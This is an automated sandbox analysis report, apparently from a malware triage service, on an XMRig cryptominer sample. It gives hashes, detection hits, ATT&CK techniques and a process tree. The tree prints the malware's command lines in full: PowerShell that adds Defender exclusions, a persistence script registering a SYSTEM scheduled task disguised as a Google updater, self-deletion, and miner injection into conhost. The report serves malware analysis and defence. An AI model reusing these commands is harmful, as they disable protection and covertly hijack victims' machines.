xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1373s
max time network
1786s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2520 created 1208	2520	3JynzWc6LxNCT2y8.exe	6
PID 2520 created 1208	2520	3JynzWc6LxNCT2y8.exe	6
PID 2520 created 1208	2520	3JynzWc6LxNCT2y8.exe	6
PID 2520 created 1208	2520	3JynzWc6LxNCT2y8.exe	6
PID 3024 created 1208	3024	updater.exe	6
PID 3024 created 1208	3024	updater.exe	6
PID 3024 created 1208	3024	updater.exe	6
PID 3024 created 1208	3024	updater.exe	6
PID 2700 created 1208	2700	conhost.exe	6
PID 3024 created 1208	3024	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral1/memory/2052-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2052-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2612	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3024	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2936	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2052-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2052-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3024 set thread context of 2700	3024	updater.exe	51
PID 3024 set thread context of 2052	3024	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2740	schtasks.exe
844	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1628	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 508a03589c51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2520	3JynzWc6LxNCT2y8.exe
2520	3JynzWc6LxNCT2y8.exe
2024	powershell.exe
2520	3JynzWc6LxNCT2y8.exe
2520	3JynzWc6LxNCT2y8.exe
2860	powershell.exe
2520	3JynzWc6LxNCT2y8.exe
2520	3JynzWc6LxNCT2y8.exe
2520	3JynzWc6LxNCT2y8.exe
2520	3JynzWc6LxNCT2y8.exe
2604	powershell.exe
3024	updater.exe
3024	updater.exe
1700	powershell.exe
3024	updater.exe
3024	updater.exe
320	powershell.exe
3024	updater.exe
3024	updater.exe
3024	updater.exe
3024	updater.exe
2700	conhost.exe
2700	conhost.exe
3024	updater.exe
3024	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	320	powershell.exe
Token: SeDebugPrivilege	3024	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1628	WMIC.exe
Token: SeSecurityPrivilege	1628	WMIC.exe
Token: SeTakeOwnershipPrivilege	1628	WMIC.exe
Token: SeLoadDriverPrivilege	1628	WMIC.exe
Token: SeSystemtimePrivilege	1628	WMIC.exe
Token: SeBackupPrivilege	1628	WMIC.exe
Token: SeRestorePrivilege	1628	WMIC.exe
Token: SeShutdownPrivilege	1628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1628	WMIC.exe
Token: SeUndockPrivilege	1628	WMIC.exe
Token: SeManageVolumePrivilege	1628	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1628	WMIC.exe
Token: SeSecurityPrivilege	1628	WMIC.exe
Token: SeTakeOwnershipPrivilege	1628	WMIC.exe
Token: SeLoadDriverPrivilege	1628	WMIC.exe
Token: SeSystemtimePrivilege	1628	WMIC.exe
Token: SeBackupPrivilege	1628	WMIC.exe
Token: SeRestorePrivilege	1628	WMIC.exe
Token: SeShutdownPrivilege	1628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1628	WMIC.exe
Token: SeUndockPrivilege	1628	WMIC.exe
Token: SeManageVolumePrivilege	1628	WMIC.exe
Token: SeLockMemoryPrivilege	2052	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 2740	2860	powershell.exe	32
PID 2860 wrote to memory of 2740	2860	powershell.exe	32
PID 2860 wrote to memory of 2740	2860	powershell.exe	32
PID 2612 wrote to memory of 1772	2612	cmd.exe	37
PID 2612 wrote to memory of 1772	2612	cmd.exe	37
PID 2612 wrote to memory of 1772	2612	cmd.exe	37
PID 2604 wrote to memory of 2908	2604	powershell.exe	38
PID 2604 wrote to memory of 2908	2604	powershell.exe	38
PID 2604 wrote to memory of 2908	2604	powershell.exe	38
PID 2936 wrote to memory of 3024	2936	taskeng.exe	40
PID 2936 wrote to memory of 3024	2936	taskeng.exe	40
PID 2936 wrote to memory of 3024	2936	taskeng.exe	40
PID 320 wrote to memory of 844	320	powershell.exe	45
PID 320 wrote to memory of 844	320	powershell.exe	45
PID 320 wrote to memory of 844	320	powershell.exe	45
PID 3024 wrote to memory of 2700	3024	updater.exe	51
PID 1332 wrote to memory of 1628	1332	cmd.exe	49
PID 1332 wrote to memory of 1628	1332	cmd.exe	49
PID 1332 wrote to memory of 1628	1332	cmd.exe	49
PID 3024 wrote to memory of 2052	3024	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1208
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2908
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:844
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1628
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1992
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2700
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2052

C:\Windows\system32\taskeng.exe
taskeng.exe {7805BD25-6EAA-4991-AF78-E293AE0E057B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2936
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 402KB
SHA256 f1ec1f6792c56553f927a35cbeb396c257231550a960a0af8e2fdb102bdb4a6f
MD5 1efa21516835d2b203f86e730e9b5462
SHA1 3ff403d3db43d1a0016eb8298292cb4655d822c8
SHA512 65529a4c41c37f2e4950429b05e622e5d6b5978ba2d415ca2a18fd6cc76d2cf96d4b9e37bbfc6c663801ff94a47d75bb615c25c7432bc201d367a4582d490f77
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNT/:rWVipGdVZjdqVC5jd88Fx
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.4MB
SHA256 a77740e8b86abb9b8a10b2b6edc99418177a1736092edcec99e016662bd686aa
MD5 f7375c266df194869b9a13eb684fac77
SHA1 2c0a1dbc7c275cc568b0485eb0f9a7f4e7115c58
SHA512 e49ce37931d13f381ad91bd5e073697b96a8e42bf534623d0f77cdcf76298a020b2f0011bf74958cda41a7c9d00d0386f056b7c67e60b23c70ad75e8242c7325
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkYa:rWVipAxqo5p88CbXuxWQiSJU320ZW21B
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 6d79ba32bd9bb454d20a71eb0e17cc3107406affbe1b06e8059fdd66ba4159e1
MD5 06e748a4a26a36bc49bf4be4edd4b706
SHA1 40ab89fcf10f6eae569d7c907c4ed304eb2014a8
SHA512 95fb0e65c9c8d85f9d0545eaac7c11e8f2468ea96131f2c0cdac11a0ee1fe570c25622a2589d4a0e6e77527df5b9c8a6ccbc0f191cea120cca2ce64f82cb4196
SSDEEP 96:YnliCkn5OM8anqvsqvJCwoSexnliCkn5OM8anqvsEHyqvJCworIeqpD2OQHL8E8J:Ylm5O+UoRlm5O+AHnorgpbd772AP
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 631KB
SHA256 09af78f72bdd5e56399e2e851f7cd742efb233d72965c4f00219b6d0ee58c03f
MD5 8487791e553ffe13541d8f901499adf3
SHA1 35ef88926dbd3ddced11635058f0373ebd090dee
SHA512 841a26735c195a7e751f6194e45b3baa7c77a7e31ba977ac594f617e51c667421913db36f4493ef59f3323778d11ec081a2a114f1e313a776f01b83ac97b99db
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNS:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iJ
MD5 SHA1 SHA512 SSDEEP

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memory/320-57-0x0000000000FC0000-0x0000000001040000-memory.dmp

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memory/320-56-0x0000000000FC0000-0x0000000001040000-memory.dmp

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memory/320-58-0x0000000000FC0000-0x0000000001040000-memory.dmp

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memory/320-55-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/320-59-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/320-54-0x0000000000FC0000-0x0000000001040000-memory.dmp

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memory/320-53-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/1700-51-0x0000000001180000-0x0000000001200000-memory.dmp

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memory/1700-49-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

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memory/1700-47-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

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memory/1700-48-0x0000000001180000-0x0000000001200000-memory.dmp

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memory/1700-50-0x0000000001180000-0x0000000001200000-memory.dmp

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memory/1700-52-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

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memory/2024-8-0x0000000002780000-0x0000000002800000-memory.dmp

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memory/2024-9-0x0000000002780000-0x0000000002800000-memory.dmp

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memory/2024-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

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memory/2024-10-0x0000000002780000-0x0000000002800000-memory.dmp

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memory/2024-13-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/2024-11-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/2024-12-0x0000000002780000-0x0000000002800000-memory.dmp

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memory/2024-7-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/2024-5-0x000000001B190000-0x000000001B472000-memory.dmp

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memory/2052-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-136-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-134-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-132-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-130-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-68-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-67-0x0000000000180000-0x00000000001A0000-memory.dmp

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memory/2052-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-69-0x0000000000AF0000-0x0000000000B10000-memory.dmp

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memory/2052-70-0x0000000000B10000-0x0000000000B30000-memory.dmp

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memory/2052-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-82-0x0000000000AF0000-0x0000000000B10000-memory.dmp

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memory/2052-83-0x0000000000B10000-0x0000000000B30000-memory.dmp

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memory/2052-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2052-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2520-29-0x000000013F740000-0x000000013F951000-memory.dmp

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memory/2520-0-0x000000013F740000-0x000000013F951000-memory.dmp

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memory/2604-40-0x0000000002860000-0x00000000028E0000-memory.dmp

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memory/2604-39-0x0000000002860000-0x00000000028E0000-memory.dmp

